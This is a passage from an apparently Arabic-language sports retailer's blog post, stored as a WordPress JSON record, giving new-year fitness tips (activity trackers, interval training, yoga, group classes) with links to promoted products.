{"id":15764,"date":"2016-12-26T12:01:08","date_gmt":"2016-12-26T08:01:08","guid":{"rendered":"https:\/\/blog.sssports.com\/ar\/?p=15764"},"modified":"2019-10-02T01:54:01","modified_gmt":"2019-10-01T21:54:01","slug":"%d9%82%d8%b1%d8%a7%d8%b1%d8%a7%d8%aa-%d8%b5%d8%ad%d9%8a%d8%a9-%d9%84%d9%84%d8%b9%d8%a7%d9%85-%d8%a7%d9%84%d8%ac%d8%af%d9%8a%d8%af-2017","status":"publish","type":"post","link":"https:\/\/blog.sssports.com\/ar\/%d9%82%d8%b1%d8%a7%d8%b1%d8%a7%d8%aa-%d8%b5%d8%ad%d9%8a%d8%a9-%d9%84%d9%84%d8%b9%d8%a7%d9%85-%d8%a7%d9%84%d8%ac%d8%af%d9%8a%d8%af-2017\/","title":{"rendered":"\u0627\u0633\u062a\u0639\u062f \u0644\u0627\u062a\u062e\u0627\u0630 \u0647\u0630\u0647 \u0627\u0644\u0642\u0631\u0627\u0631\u0627\u062a \u0627\u0644\u0635\u062d\u064a\u0629 \u0645\u0639 \u0628\u062f\u0627\u064a\u0629 \u0627\u0644\u0639\u0627\u0645 \u0627\u0644\u062c\u062f\u064a\u062f"},"content":{"rendered":"<p style=\"text-align: justify;\">\u0647\u0627 \u0646\u062d\u0646 \u0646\u0648\u062f\u0639 \u0639\u0627\u0645 2016\u060c \u0648\u0639\u0627\u062f\u0629 \u0645\u0627 \u0646\u062a\u062e\u0630 \u0627\u0644\u0639\u062f\u064a\u062f \u0645\u0646 \u0627\u0644\u0642\u0631\u0627\u0631\u0627\u062a \u0645\u0639 \u0628\u062f\u0627\u064a\u0629 \u0627\u0644\u0639\u0627\u0645 \u0627\u0644\u062c\u062f\u064a\u062f. \u0627\u0644\u0628\u0639\u0636 \u0645\u0646\u0627 \u064a\u0642\u0631\u0631 \u062a\u0639\u0644\u0645 \u0627\u0644\u0639\u0632\u0641 \u0639\u0644\u0649 \u0622\u0644\u0629 \u0645\u0648\u0633\u064a\u0642\u064a\u0629\u060c \u0623\u0648 \u0627\u0644\u0633\u0641\u0631 \u0625\u0644\u0649 \u0623\u0645\u0627\u0643\u0646 \u0628\u0639\u064a\u062f\u0629 \u062c\u062f\u064a\u062f\u0629\u060c \u0641\u064a \u062d\u064a\u0646 \u064a\u0642\u0631\u0631 \u0622\u062e\u0631\u0648\u0646 \u0623\u0646 \u062a\u0643\u0648\u0646 \u0627\u0644\u0633\u0646\u0629 \u0627\u0644\u062c\u062f\u064a\u062f\u0629 \u0623\u0643\u062b\u0631 \u0635\u062d\u0629 \u0648\u0631\u0634\u0627\u0642\u0629 \u0648\u0644\u064a\u0627\u0642\u0629 \u0644\u0623\u0628\u062f\u0627\u0646\u0647\u0645. \u064a\u0645\u0643\u0646\u0643 \u0642\u0631\u0627\u0621\u0629 <a href=\"https:\/\/blog.sssports.com\/ar\/%d8%a3%d9%87%d8%af%d8%a7%d9%81-%d8%a7%d9%84%d9%84%d9%8a%d8%a7%d9%82%d8%a9-%d8%a7%d9%84%d8%a8%d8%af%d9%86%d9%8a%d8%a9-%d9%84%d9%84%d8%b9%d8%a7%d9%85-%d8%a7%d9%84%d8%ac%d8%af%d9%8a%d8%af\/\" target=\"_blank\">\u0628\u0639\u0636 \u0627\u0644\u0646\u0635\u0627\u0626\u062d \u0627\u0644\u0635\u062d\u064a\u0629 \u0645\u0646 (\u0645\u0648\u0631 \u0641\u064a\u062a\u0646\u0633) \u0639\u0646 \u0643\u064a\u0641\u064a\u0629 \u0627\u0644\u0627\u0633\u062a\u0639\u062f\u0627\u062f \u0648\u0628\u062f\u0621 \u0628\u0631\u0627\u0645\u062c \u0631\u064a\u0627\u0636\u064a\u0629 \u062c\u062f\u064a\u062f\u0629 \u0644\u0644\u0639\u0627\u0645 \u0627\u0644\u0642\u0627\u062f\u0645<\/a>. \u0644\u0630\u0644\u0643 \u0625\u0646 \u0643\u0646\u062a \u062a\u0631\u064a\u062f \u0627\u0644\u062d\u0635\u0648\u0644 \u062c\u0633\u0645 \u0623\u0643\u062b\u0631 \u0631\u0634\u0627\u0642\u0629 \u0648\u0644\u064a\u0627\u0642\u0629 \u0641\u064a \u0639\u0627\u0645 2017\u060c \u0627\u0637\u0644\u0639 \u0645\u0639\u0646\u0627 \u0647\u0646\u0627 \u0639\u0644\u0649 \u0623\u0641\u0636\u0644 5 \u0646\u0635\u0627\u0626\u062d \u0644\u0628\u062f\u0621 \u0639\u0627\u0645\u0643 \u0627\u0644\u062c\u062f\u064a\u062f 2017 \u0628\u0635\u062d\u0629 \u0648\u0631\u0634\u0627\u0642\u0629 \u0644\u062a\u062d\u0642\u064a\u0642 \u0623\u0647\u062f\u0627\u0641 \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629 \u0627\u0644\u062a\u064a \u062a\u0631\u062c\u0648\u0647\u0627.<\/p>\n<h3 style=\"text-align: center;\">1. \u062a\u0642\u0646\u064a\u0627\u062a \u0642\u0627\u0628\u0644\u0629 \u0644\u0644\u0627\u0631\u062a\u062f\u0627\u0621<\/h3>\n<p style=\"text-align: center;\"><a rel=\"nofollow\" href=\"https:\/\/ar-sa.sssports.com\/fitbit-charge-2-heart-rate-fitness-wristband-fitb-fb407sbk-eu\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-15766 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/12\/GEARING_NEWYEAR_750X429_01_AR.jpg\" alt=\"\u0641\u064a\u062a\u0628\u064a\u062a\" width=\"750\" height=\"429\" \/><\/a><\/p>\n<p style=\"text-align: justify;\">\u062d\u0633\u0651\u0646\u062a \u0627\u0644\u062a\u0642\u0646\u064a\u0627\u062a \u0627\u0644\u0639\u062f\u064a\u062f \u0645\u0646 \u062c\u0648\u0627\u0646\u0628 \u062d\u064a\u0627\u062a\u0646\u0627 \u0627\u0644\u064a\u0648\u0645\u064a\u0629 \u0645\u0646 \u0627\u0644\u0633\u064a\u0627\u0631\u0627\u062a \u0625\u0644\u0649 \u0627\u0644\u062d\u0648\u0627\u0633\u064a\u0628\u060c \u0648\u0647\u064a \u0645\u0633\u062a\u0645\u0631\u0629 \u0641\u064a \u062a\u0637\u0648\u064a\u0631 \u0627\u0644\u0639\u0627\u0644\u0645 \u0645\u0646 \u062d\u0648\u0644\u0646\u0627. \u0648\u0644\u0645\u062f\u0629 \u0637\u0648\u064a\u0644\u0629\u060c \u0644\u0645 \u062a\u0648\u0638\u0651\u064e\u0641 \u0647\u0630\u0647 \u0627\u0644\u062a\u0643\u0646\u0644\u0648\u062c\u064a\u0627 \u0641\u064a \u062a\u0637\u0648\u064a\u0631 \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629 \u0648\u062a\u0639\u0642\u0628\u0647\u0627 \u0648\u0645\u0631\u0627\u0642\u0628\u062a\u0647\u0627\u060c \u0648\u0644\u0643\u0646 \u0641\u064a \u0627\u0644\u0633\u0646\u0648\u0627\u062a \u0627\u0644\u0623\u062e\u064a\u0631\u0629 \u0634\u0627\u0647\u062f\u0646\u0627 \u0635\u0639\u0648\u062f\u064b\u0627 \u0644\u0633\u0647\u0645 \u062a\u0642\u0646\u064a\u0627\u062a \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629 \u0648\u062a\u0639\u0642\u0651\u0628 \u0627\u0644\u0625\u0646\u062c\u0627\u0632 \u0644\u0645\u0633\u0627\u0639\u062f\u062a\u0643 \u0641\u064a \u0645\u0631\u0627\u0642\u0628\u0629 \u0646\u0634\u0627\u0637\u0643 \u0648\u062a\u0642\u062f\u064a\u0645 \u0627\u0644\u0646\u062a\u064a\u062c\u0629 \u0642\u0628\u0644 \u0648\u0628\u0639\u062f \u0643\u0644 \u062c\u0644\u0633\u0629 \u062a\u0645\u0627\u0631\u064a\u0646. \u0633\u064a\u0642\u0648\u0645 \u0628\u0631\u0646\u0627\u0645\u062c \u062a\u0639\u0642\u0628 \u0627\u0644\u0646\u0634\u0627\u0637 \u0628\u062d\u0633\u0627\u0628 \u0639\u062f\u062f \u0627\u0644\u062e\u0637\u0648\u0627\u062a \u0627\u0644\u062a\u064a \u0642\u0645\u062a \u0628\u0647\u0627 \u062d\u062a\u0649 \u0648\u0644\u0648 \u0643\u0627\u0646\u062a \u0645\u0634\u064a\u0629 \u0628\u0633\u064a\u0637\u0629 \u0645\u0646 \u0645\u0643\u062a\u0628\u0643 \u0625\u0644\u0649 \u0633\u064a\u0627\u0631\u062a\u0643\u060c \u0643\u0645\u0627 \u0633\u064a\u0631\u0627\u0642\u0628 \u0645\u0639\u062f\u0644 \u0646\u0628\u0636\u0627\u062a \u0642\u0644\u0628\u0643\u060c \u0648\u0647\u0648 \u064a\u062a\u0645\u064a\u0632 \u0623\u064a\u0636\u064b\u0627 \u0628\u0646\u0638\u0627\u0645 \u0644\u0645\u0631\u0627\u0642\u0628\u0629 \u0627\u0644\u0639\u062f\u064a\u062f \u0645\u0646 \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0627\u062a \u0648\u064a\u0623\u062a\u064a \u0645\u0639 \u0627\u062a\u0635\u0627\u0644 \u0628\u0627\u0644\u0623\u0642\u0645\u0627\u0631 \u0627\u0644\u0635\u0646\u0627\u0639\u064a\u0629 \u0644\u062a\u062d\u062f\u064a\u062f \u0627\u0644\u0645\u0648\u0642\u0639 (GPS) \u0644\u0645\u0633\u0627\u0639\u062f\u062a\u0643 \u0641\u064a \u062a\u062d\u062f\u064a\u062f \u0627\u0644\u0637\u0631\u0642 \u0627\u0644\u062a\u064a \u0633\u0631\u062a \u0639\u0644\u064a\u0647\u0627 \u0645\u0628\u0627\u0634\u0631\u0629. \u0648\u0644\u062a\u062d\u0642\u0642 \u0637\u0645\u0648\u062d\u0643 \u0641\u064a \u0627\u0644\u0633\u0646\u0629 \u0627\u0644\u062c\u062f\u064a\u062f\u0629 \u0627\u0644\u0635\u062d\u064a\u0629 \u0627\u062d\u0635\u0644 \u0639\u0644\u0649\u00a0<a rel=\"nofollow\" href=\"https:\/\/ar-sa.sssports.com\/fitbit-charge-2-heart-rate-fitness-wristband-fitb-fb407sbk-eu\" target=\"_blank\"><strong>\u062c\u0647\u0627\u0632 \u062a\u062a\u0628\u0639 \u0627\u0644\u0646\u0634\u0627\u0637 \u0648\u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u062a\u0634\u0627\u0631\u062c 2 \u0645\u0639 \u0642\u064a\u0627\u0633 \u0627\u0644\u0646\u0628\u0636 \u0645\u0646 \u0641\u064a\u062a\u0628\u064a\u062a<\/strong><\/a>.<\/p>\n<h3 style=\"text-align: center;\">2. \u062a\u062f\u0631\u064a\u0628\u0627\u062a \u0639\u0627\u0644\u064a\u0629 \u0627\u0644\u0643\u062b\u0627\u0641\u0629<\/h3>\n<p style=\"text-align: center;\"><a rel=\"nofollow\" href=\"https:\/\/ar-sa.sssports.com\/catalog\/product\/view\/id\/104208\/s\/nike-ultimate-dry-t-shirt-nkap742496-016\/category\/601\/\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-15768 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/12\/GEARING_NEWYEAR_750X429_02_AR.jpg\" alt=\"\u062a\u064a\u0634\u064a\u0631\u062a \u0646\u0627\u064a\u0643\" width=\"750\" height=\"429\" \/><\/a><\/p>\n<p style=\"text-align: justify;\">\u0644\u064a\u0633\u062a \u0643\u0644 \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0643\u0627\u0631\u062f\u064a\u0648 \u0645\u062a\u0633\u0627\u0648\u064a\u0629\u060c \u0648\u0645\u0646 \u0627\u0644\u0645\u0647\u0645 \u0623\u0646 \u062a\u062e\u062a\u0627\u0631 \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0627\u0644\u0630\u064a \u064a\u0644\u0628\u064a \u0623\u0647\u062f\u0627\u0641\u0643 \u0641\u064a \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629. \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0643\u0627\u0631\u062f\u064a\u0648 \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u0629 \u0642\u062f \u062a\u0643\u0648\u0646 \u0645\u062b\u0627\u0644\u064a\u0629 \u0644\u062c\u0627\u0631\u0643 \u0648\u0644\u0643\u0646 \u0631\u0628\u0645\u0627 \u062a\u0633\u062a\u063a\u0631\u0642 \u0648\u0642\u062a\u064b\u0627 \u0623\u0637\u0648\u0644 \u0645\u0639\u0643 \u0644\u062a\u062d\u0635\u0644 \u0639\u0644\u0649 \u0646\u062a\u0627\u0626\u062c \u0645\u0634\u0627\u0628\u0647\u0629. \u062c\u0631\u0628 \u0627\u0644\u062a\u062f\u0631\u064a\u0628\u0627\u062a \u0639\u0627\u0644\u064a\u0629 \u0627\u0644\u0643\u062b\u0627\u0641\u0629\u060c \u0648\u0647\u064a \u0635\u064a\u063a\u0629 \u0634\u0627\u0626\u0639\u0629 \u0648\u0641\u0639\u0627\u0644\u0629 \u0645\u0646 \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0643\u0627\u0631\u062f\u064a\u0648. \u062a\u0642\u0648\u0645 \u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0629 \u0647\u0630\u0647 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0639\u0644\u0649 \u0627\u0644\u0627\u0646\u062a\u0642\u0627\u0644 \u0645\u0646 \u0627\u0644\u062f\u0641\u0639\u0627\u062a \u0627\u0644\u0642\u0635\u064a\u0631\u0629 \u0644\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0644\u0627\u0647\u0648\u0627\u0626\u064a\u0629 \u0627\u0644\u0645\u0643\u062b\u0641\u0629 \u0625\u0644\u0649 \u0641\u062a\u0631\u0627\u062a \u0631\u0627\u062d\u0629 \u0623\u0642\u0644 \u0643\u062b\u0627\u0641\u0629. \u062a\u0645\u062a\u062f \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0645\u0643\u062b\u0641\u0629 \u0627\u0644\u0635\u063a\u064a\u0631\u0629 \u0628\u064a\u0646 4 \u0625\u0644\u0649 30 \u062f\u0642\u064a\u0642\u0629\u060c \u0648\u062a\u062d\u0633\u0646 \u0645\u0646 \u0627\u0644\u0633\u0639\u0629 \u0648\u0627\u0644\u0642\u062f\u0631\u0627\u062a \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629 \u0628\u0627\u0644\u0625\u0636\u0627\u0641\u0629 \u0625\u0644\u0649 \u062a\u062d\u0633\u064a\u0646 \u0643\u0627\u0645\u0644 \u0644\u0627\u0633\u062a\u0642\u0644\u0627\u0628 \u0627\u0644\u062c\u0644\u0648\u0643\u0648\u0632. \u0645\u0639 \u0647\u0630\u0647 \u0627\u0644\u0643\u062b\u0627\u0641\u0629 \u0627\u0644\u0639\u0627\u0644\u064a\u0629 \u0644\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0633\u064a\u062d\u0631\u0642 \u062c\u0633\u062f\u0643 \u0645\u0632\u064a\u062f\u064b\u0627 \u0645\u0646 \u0627\u0644\u0633\u0639\u0631\u0627\u062a \u0627\u0644\u062d\u0631\u0627\u0631\u064a\u0629 \u0644\u064a\u0633\u0627\u0639\u062f\u0643 \u0641\u064a \u062e\u0633\u0627\u0631\u0629 \u0627\u0644\u0648\u0632\u0646 \u062f\u0648\u0646 \u0628\u0646\u0627\u0621 \u062d\u062c\u0645 \u0644\u0644\u0639\u0636\u0644\u0627\u062a. \u0648\u0627\u0644\u0623\u0645\u0631 \u0627\u0644\u062c\u064a\u062f \u0623\u0646\u0643 \u0644\u0627 \u062a\u062d\u062a\u0627\u062c \u0625\u0644\u0649 \u0623\u062b\u0642\u0627\u0644 \u0644\u062a\u0646\u0641\u064a\u0630 \u0647\u0630\u0647 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646. \u0648\u0623\u062e\u064a\u0631\u064b\u0627 \u0627\u062c\u0645\u0639 \u0647\u0630\u0647 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0645\u0646 \u0646\u0638\u0627\u0645 \u063a\u0630\u0627\u0621 \u0635\u062d\u064a\u060c \u0648\u0627\u0631\u062a\u062f\u0650 <a rel=\"nofollow\" href=\"https:\/\/ar-sa.sssports.com\/catalog\/product\/view\/id\/104208\/s\/nike-ultimate-dry-t-shirt-nkap742496-016\/category\/601\/\" target=\"_blank\"><strong>\u062a\u064a\u0634\u064a\u0631\u062a \u0623\u0644\u062a\u064a\u0645\u064a\u062a \u062f\u0631\u0627\u064a \u0642\u0635\u064a\u0631 \u0627\u0644\u0623\u0643\u0645\u0627\u0645 \u0645\u0646 \u0646\u0627\u064a\u0643<\/strong><\/a>\u00a0\u0644\u062a\u062d\u0635\u0644 \u0639\u0644\u0649 \u0646\u062a\u0627\u0626\u062c \u0623\u0633\u0631\u0639 \u0645\u0646 \u0630\u064a \u0642\u0628\u0644.<\/p>\n<h3 style=\"text-align: center;\">3. \u0627\u0644\u064a\u0648\u063a\u0627<\/h3>\n<p style=\"text-align: center;\"><a rel=\"nofollow\" href=\"https:\/\/ar-sa.sssports.com\/body-language-blade-leggings-bdlg-st329-blck\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-15770 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/12\/GEARING_NEWYEAR_750X429_03_AR.jpg\" alt=\"\u0644\u064a\u0642\u0646\u0632 \u0628\u0648\u062f\u064a \u0644\u0627\u0646\u062c\u0648\u064a\u062c\" width=\"750\" height=\"429\" \/><\/a><\/p>\n<p style=\"text-align: justify;\">\u062a\u062a\u0631\u0628\u0639 \u0627\u0644\u064a\u0648\u063a\u0627 \u0627\u0644\u064a\u0648\u0645 \u0639\u0644\u0649 \u0639\u0631\u0634 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u062e\u0641\u064a\u0641\u0629 \u0641\u064a \u0627\u0644\u0639\u0627\u0644\u0645 \u0625\u0630 \u062a\u0641\u064a\u062f \u062c\u0633\u062f\u0643 \u0628\u0639\u062f\u0629 \u0637\u0631\u0642. \u0641\u0627\u0644\u064a\u0648\u063a\u0627 \u062a\u0633\u0627\u0639\u062f \u0641\u064a \u062a\u062d\u0633\u064a\u0646 \u0627\u0644\u0645\u0631\u0648\u0646\u0629 \u0648\u0647\u064a \u062a\u0633\u0627\u0639\u062f \u0623\u064a\u0636\u064b\u0627 \u0641\u064a \u0628\u0646\u0627\u0621 \u0642\u0648\u0629 \u0627\u0644\u0639\u0636\u0644\u0627\u062a \u0648\u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0642\u0627\u0645\u0629 \u0642\u0648\u064a\u0629 \u0648\u062a\u062d\u0645\u064a \u0645\u0646 \u0645\u0634\u0627\u0643\u0644 \u0627\u0644\u0645\u0641\u0627\u0635\u0644 \u0648\u0627\u0644\u063a\u0636\u0627\u0631\u064a\u0641\u060c \u0643\u0645\u0627 \u0623\u0646\u0647\u0627 \u062a\u062d\u0645\u064a \u0627\u0644\u0639\u0645\u0648\u062f \u0627\u0644\u0641\u0642\u0631\u064a \u0625\u0630\u0627 \u062a\u0645 \u062a\u0646\u0641\u064a\u0630\u0647\u0627 \u0628\u0637\u0631\u064a\u0642\u0629 \u0635\u062d\u064a\u062d\u0629. \u0648\u0647\u0630\u0647 \u0645\u062c\u0631\u062f \u0641\u0648\u0627\u0626\u062f \u0628\u0633\u064a\u0637\u0629 \u0633\u064a\u062d\u0635\u0644 \u0639\u0644\u064a\u0647\u0627 \u062c\u0633\u0645\u0643 \u0639\u0646\u062f\u0645\u0627 \u062a\u0645\u0627\u0631\u0633 \u0627\u0644\u064a\u0648\u063a\u0627 \u0628\u0634\u0643\u0644 \u0645\u0646\u062a\u0638\u0645. \u0648\u0628\u0648\u062c\u0648\u062f \u0635\u0641\u0648\u0641 \u062c\u0645\u0627\u0639\u064a\u0629 \u0645\u062a\u0648\u0641\u0631\u0629 \u0628\u064a\u0633\u0631 \u0644\u0645\u0645\u0627\u0631\u0633\u0629 \u0627\u0644\u064a\u0648\u063a\u0627 \u0623\u0635\u0628\u062d\u062a \u0647\u0630\u0647 \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629 \u0645\u062a\u0627\u062d\u0629 \u0628\u0634\u0643\u0644 \u0648\u0627\u0633\u0639 \u0648\u0639\u0644\u064a\u0643 \u0623\u0646 \u062a\u0648\u0644\u064a\u0647\u0627 \u0623\u0647\u0645\u064a\u0629 \u0643\u0628\u064a\u0631\u0629 \u0636\u0645\u0646 \u0623\u0647\u062f\u0627\u0641\u0643 \u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629 \u0641\u064a \u0627\u0644\u0639\u0627\u0645 \u0627\u0644\u062c\u062f\u064a\u062f. \u0643\u0645\u0627 \u0623\u0646\u0647\u0627 \u0625\u062d\u062f\u0649 \u0623\u0634\u0647\u0631 \u0623\u0646\u0645\u0627\u0637 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u062a\u064a \u062a\u0628\u0639\u062b \u0639\u0644\u0649 \u0627\u0644\u0647\u062f\u0648\u0621 \u0648\u0627\u0644\u0627\u0633\u062a\u0631\u062e\u0627\u0621 \u0648\u062a\u0647\u064a\u0626 \u062c\u0633\u062f\u0643 \u0644\u0644\u0631\u0627\u062d\u0629 \u0648\u0627\u0644\u062a\u0623\u0645\u0644\u060c \u0648\u0645\u0639 <a rel=\"nofollow\" href=\"https:\/\/ar-sa.sssports.com\/body-language-blade-leggings-bdlg-st329-blck\" target=\"_blank\"><strong>\u0627\u0644\u0628\u0646\u0637\u0627\u0644 \u0627\u0644\u0636\u064a\u0642 (\u0644\u064a\u0642\u0646\u0632) \u0628\u0644\u064a\u062f \u0645\u0646 \u0628\u0648\u062f\u064a \u0644\u0627\u0646\u062c\u0648\u064a\u062c<\/strong><\/a> \u064a\u0645\u0643\u0646\u0643\u0650 \u0623\u0646 \u062a\u062d\u0635\u0644\u064a\u0646 \u0639\u0644\u0649 \u0623\u0641\u0636\u0644 \u0627\u0644\u0648\u0636\u0639\u064a\u0627\u062a \u0639\u0646\u062f\u0645\u0627 \u062a\u0630\u0647\u0628\u064a\u0646 \u0641\u064a \u0627\u0644\u0645\u0631\u0629 \u0627\u0644\u0645\u0642\u0628\u0644\u0629 \u0625\u0644\u0649 \u0627\u0644\u0635\u0627\u0644\u0629 \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629 \u0644\u0645\u0645\u0627\u0631\u0633\u0629 \u0627\u0644\u064a\u0648\u063a\u0627.<\/p>\n<h3 style=\"text-align: center;\">4. \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u062c\u0645\u0627\u0639\u064a\u0629<\/h3>\n<p style=\"text-align: center;\"><a rel=\"nofollow\" href=\"https:\/\/ar-sa.sssports.com\/catalog\/product\/view\/id\/104862\/s\/nike-free-run-distance-shield-shoe-nk849660-700\/category\/3\/\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-15772 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/12\/GEARING_NEWYEAR_750X429_04_AR.jpg\" alt=\"\u062d\u0630\u0627\u0621 \u0646\u0627\u064a\u0643\" width=\"750\" height=\"429\" \/><\/a><\/p>\n<p style=\"text-align: justify;\">\u0645\u0646 \u0627\u0644\u0633\u0647\u0644 \u0627\u0644\u0627\u0646\u0633\u062d\u0627\u0628 \u0645\u0646 \u062d\u0635\u0635 \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0635\u0627\u0644\u0627\u062a \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629 \u0625\u0630\u0627 \u0643\u0646\u062a \u0648\u062d\u064a\u062f\u064b\u0627. \u0641\u0644\u0648 \u0643\u0646\u062a \u0628\u062d\u0627\u062c\u0629 \u0625\u0644\u0649 \u0645\u062c\u0645\u0648\u0639\u0629 \u062a\u0634\u062c\u0639\u0643 \u0623\u0648 \u0635\u062f\u064a\u0642 \u064a\u0631\u0627\u0641\u0642\u0643 \u0625\u0644\u0649 \u0627\u0644\u0635\u0627\u0644\u0627\u062a \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629 \u0644\u064a\u0634\u0627\u0647\u062f\u0643 \u0648\u0623\u0646\u062a \u062a\u0645\u0627\u0631\u0633 \u0623\u0647\u062f\u0627\u0641\u0643 \u0641\u064a \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629\u060c \u0641\u0625\u0646 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u062c\u0645\u0627\u0639\u064a\u0629 \u0647\u064a \u0627\u0644\u062d\u0644 \u0627\u0644\u0645\u0646\u0627\u0633\u0628 \u0644\u0643. \u062a\u062a\u0648\u0641\u0631 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u062c\u0645\u0627\u0639\u064a\u0629 \u0628\u0623\u0634\u0643\u0627\u0644 \u0645\u062e\u062a\u0644\u0641\u0629 \u062a\u0645\u062a\u062f \u0645\u0646 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0647\u0648\u0627\u0626\u064a\u0629 \u0648\u062a\u0635\u0645\u064a\u0645 \u0627\u0644\u0631\u0642\u0635\u0627\u062a \u0625\u0644\u0649 \u0628\u0646\u0627\u0621 \u0627\u0644\u0623\u062c\u0633\u0627\u0645 \u0648\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0628\u064a\u0644\u0627\u062a\u0633\u060c \u0648\u0643\u0644 \u0647\u0630\u0627 \u064a\u062a\u0645 \u0628\u0642\u064a\u0627\u062f\u0629 \u0645\u062f\u0631\u0628 \u0645\u0627\u0647\u0631. \u062e\u0644\u0627\u0644 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u062c\u0645\u0627\u0639\u064a\u0629 \u064a\u0645\u0643\u0646\u0643 \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0646\u0634\u0627\u0637 \u0627\u062c\u062a\u0645\u0627\u0639\u064a \u0636\u0645\u0646 \u0628\u064a\u0626\u0629 \u0645\u0631\u062d\u0629 \u0643\u0644 \u0645\u0646 \u0641\u064a\u0647\u0627 \u064a\u0639\u0645\u0644 \u062d\u0648\u0644\u0643 \u0644\u062a\u062d\u0642\u064a\u0642 \u0627\u0644\u0647\u062f\u0641 \u0646\u0641\u0633\u0647 \u0623\u0644\u0627 \u0648\u0647\u0648 \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0627\u0644\u0644\u064a\u0627\u0642\u0629. \u0633\u062a\u0633\u062a\u0641\u064a\u062f \u0645\u0646 \u0627\u0644\u0645\u062c\u0645\u0648\u0639\u0629 \u0628\u062d\u0635\u0648\u0644\u0643 \u0639\u0644\u0649 \u0623\u0635\u062f\u0642\u0627\u0621 \u062d\u0645\u064a\u0645\u064a\u0646 \u0645\u0639 \u0645\u062f\u0631\u0628 \u0644\u064a\u0633 \u062e\u0628\u064a\u0631\u064b\u0627 \u0641\u0642\u0637 \u0641\u064a \u0645\u062c\u0627\u0644\u0647 \u0648\u0625\u0646\u0645\u0627 \u0623\u064a\u0636\u064b\u0627 \u0628\u0627\u0631\u0639 \u0641\u064a \u0627\u0644\u062a\u062d\u0641\u064a\u0632 \u0648\u0627\u0644\u062a\u0634\u062c\u064a\u0639 \u0636\u0645\u0646 \u0637\u0631\u064a\u0642\u062a\u0647 \u0641\u064a \u0627\u0644\u062a\u0639\u0644\u064a\u0645. \u0627\u0631\u0642\u0635 \u0648\u0627\u0631\u0643\u0644 \u0648\u0642\u0645 \u0628\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0636\u063a\u0637 \u0636\u0645\u0646 \u0645\u062c\u0645\u0648\u0639\u0629 \u062a\u0634\u0627\u0631\u0643\u0643 \u0623\u0647\u062f\u0627\u0641\u0643 \u0641\u064a \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629\u060c \u0648\u0627\u0645\u0636 \u0641\u064a \u0637\u0631\u064a\u0642\u0643 \u0644\u062a\u062d\u0635\u0644 \u0639\u0644\u0649 \u0633\u0646\u0629 \u062c\u062f\u064a\u062f\u0629 \u0635\u062d\u064a\u0629\u00a0\u0645\u0644\u064a\u0626\u0629 \u0628\u0627\u0644\u0646\u0634\u0627\u0637 \u0648\u0627\u0644\u0631\u0634\u0627\u0642\u0629 \u0645\u0639 <a rel=\"nofollow\" href=\"https:\/\/ar-sa.sssports.com\/catalog\/product\/view\/id\/104862\/s\/nike-free-run-distance-shield-shoe-nk849660-700\/category\/3\/\" target=\"_blank\"><strong>\u062d\u0630\u0627\u0621 \u0641\u0631\u064a \u0631\u0646\u00a0\u062f\u064a\u0633\u062a\u0627\u0646\u0633 \u0634\u064a\u0644\u062f \u0645\u0646 \u0646\u0627\u064a\u0643<\/strong><\/a>.<\/p>\n<h3 style=\"text-align: center;\">5. \u062a\u0645\u0627\u0631\u064a\u0646 \u0648\u0632\u0646 